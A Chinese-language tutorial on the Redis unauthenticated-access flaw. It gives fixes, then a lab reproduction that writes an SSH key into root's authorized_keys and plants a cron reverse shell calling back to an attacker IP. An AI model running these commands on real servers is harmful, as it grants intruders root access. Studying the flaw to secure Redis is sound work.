大家好,redis数据库相信大家都很熟悉了,那么,你们知道吗?Redis也是有着漏洞的。今天小编就跟大家聊一聊关于redis未授权漏洞如何复现与利用。
一.什么是Redis未授权访问漏洞?
Redis在默认情况会将服务绑定在0.0.0.0:6379上,从而将服务暴露在公网环境下,如果在没有开启安全认证的情况下,可以导致任意用户未授权访问Redis服务器并Redis进行读写操作。攻击者在未授权访问Redis服务器时可以通过上传公钥的方法将自己的公钥上传到Redis服务器上,达到免密登陆的效果。
Redis 安全模型的观念是: “请不要将 Redis 暴露在公开网络中, 因为让不受信任的客户接触到 Redis 是非常危险的” 。
Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99% 使用 Redis 的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。
因为其他受信任用户需要使用 Redis 或者因为运维人员的疏忽等原因,部分 Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致
Redis 服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。
利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接使用对应的私钥登录目标服务器。
漏洞危害
如果攻击者进入了我们的redis服务器,他便可以自由下载数据库中的文件,造成信息泄露,造成个人隐私泄露或者公司机密泄露,造成巨大损害。同时如果攻击者进行提权获取更大的权限,还会产生更大的危害。
二.修复方法
配置访问密码:启用 redis.conf配置中的 requirepass 项,设置复杂的访问密码
修改监听地址:修改 redis.conf 配置中的 bind 0.0.0.0 ,改成 bind 127.0.0.1
限制可以连接 Redis 服务器的IP:iptables -I INPUT -s ip --dport 6379 -j ACCEPT
修改 Redis 服务的默认端口6379
三.漏洞复现
环境说明:
Redis 服务器
系统:CentOS7.3
IP :192.168.0.232
Redis:redis-2.8.22
攻击者
系统:CentOS7.3
IP:192.168.0.231
服务器端,启动服务:
redis默认监听0.0.0.0:6379,不设置密码。服务器防火墙不做IP过滤。
[root@test-server ~]# ps -ef |grep redis root 103026 1 0 11:35 ? 00:00:00 /server/redis/bin/redis-server 0.0.0.0:6379攻击方法一:ssh免密码登录
攻击者客户端:
创建公钥
[root@test-client ~]# ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: b4:dc:1a:a8:b9:1c:3a:3d:91:af:fa:90:5b:1a:fd:c9 root@test-client The key's randomart image is: +--[ RSA 2048]----+ | | | | | . | | + o | | .. S . | | ooo o | | +.*o . | | .Oo=.. | | =+=oE | +-----------------+
查看公钥
[root@test-client ~]# cat /root/.ssh/id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3BYQnEECmTXFUvZUEWCtZuXWBj/ziksQSfucN/ELPQvUX6Bdn0yVMmNYzcy8O4K0kR+Lpwhn4LDSQzCOoGUh8Nl4+tPWrnu5aSwRdPzwxyHiDjSwDGm0Rlea4g2fZKEDjAwkJMW8X3q7XMNw/BY13lau8UuDtJyPFkkrIHNf3NKWvS2wltdHBv0KGAx3jVZN0DeFNVJolqjH9NSUyfulI6ouTGwwR5NyObcsZbuqIWzQ+IrqGfEJtfu+6MOUZQ+5EJc9iVctsRUDttSr/HzbhFt32f6Gw2UJkeR4odiyWNSh3DEpCl0vlBGoLXEevXlXqPk1p0Mu43uaGLbQAVfO9 root@test-client
连接 redis ,上传公钥
[root@test-client ~]# redis-cli -h 192.168.0.232 192.168.0.232:6379> config set dir /root/.ssh/ OK 192.168.0.232:6379> config set dbfilename authorized_keys OK 192.168.0.232:6379> set xxx " ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3BYQnEECmTXFUvZUEWCtZuXWBj/ziksQSfucN/ELPQvUX6Bdn0yVMmNYzcy8O4K0kR+Lpwhn4LDSQzCOoGUh8Nl4+tPWrnu5aSwRdPzwxyHiDjSwDGm0Rlea4g2fZKEDjAwkJMW8X3q7XMNw/BY13lau8UuDtJyPFkkrIHNf3NKWvS2wltdHBv0KGAx3jVZN0DeFNVJolqjH9NSUyfulI6ouTGwwR5NyObcsZbuqIWzQ+IrqGfEJtfu+6MOUZQ+5EJc9iVctsRUDttSr/HzbhFt32f6Gw2UJkeR4odiyWNSh3DEpCl0vlBGoLXEevXlXqPk1p0Mu43uaGLbQAVfO9 root@test-client " OK 192.168.0.232:6379> save OK 192.168.0.232:6379> exit
服务器上查看公钥是否上传成功:
[root@test-server ~]# cat /root/.ssh/authorized_keys REDIS0008 redis-ver4.0.1 redis-bits㨭e‚°used-mem¢ aof-preamblezrepl-id(01f19f24c705d6f3ad9d6e897326dff16a6a37b1 䯬-offset~ⷸxA“ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3BYQnEECmTXFUvZUEWCtZuXWBj/ziksQSfucN/ELPQvUX6Bdn0yVMmNYzcy8O4K0kR+Lpwhn4LDSQzCOoGUh8Nl4+tPWrnu5aSwRdPzwxyHiDjSwDGm0Rlea4g2fZKEDjAwkJMW8X3q7XMNw/BY13lau8UuDtJyPFkkrIHNf3NKWvS2wltdHBv0KGAx3jVZN0DeFNVJolqjH9NSUyfulI6ouTGwwR5NyObcsZbuqIWzQ+IrqGfEJtfu+6MOUZQ+5EJc9iVctsRUDttSr/HzbhFt32f6Gw2UJkeR4odiyWNSh3DEpCl0vlBGoLXEevXlXqPk1p0Mu43uaGLbQAVfO9 root@test-client ÿ0W[root@test-server ~]#
看到已经上传成功了。
攻击者登录服务器:
[root@test-client ~]# ssh root@192.168.0.232 Last login: Thu Sep 7 11:17:02 2017 from 192.168.0.242 [root@test-server ~]# pwd /root [root@test-server ~]#
登录成功。
攻击方法二:修改定时任务实现反弹shell
攻击者:
连接 redis 并添加定时任务
[root@test-client ~]# redis-cli -h 192.168.0.232 192.168.0.232:6379> config set dir /var/spool/cron OK 192.168.0.232:6379> config set dbfilename root OK 192.168.0.232:6379> set -.- " * * * * * bash -i >& /dev/tcp/192.168.0.231/1234 0>&1 " OK 192.168.0.232:6379> save OK 192.168.0.232:6379> exit [root@test-client ~]#
服务器端
# 查看定时任务
[root@test-server ~]# crontab -l REDIS0008 redis-ver4.0.1 redis-bits㨭eŰused-mem preamblezrepl-id(01f19f24c705d6f3ad9d6e897326dff16a6a37b1 䯬-offset~-; * * * * * bash -i >& /dev/tcp/192.168.0.231/1234 0>&1 ÿ�՞ؽ[root@test-server ~]
攻击者监听连接
[root@test-client ~]# netcat -l -p 1234 bash: no job control in this shell [root@test-server ~]# pwd pwd /root [root@test-server ~]#
服务器会自动连接客户端,客户端监听1234端口,即可。
好了,这就是今天关于redis未授权访问漏洞的介绍,更多相关内容请继续关注本站。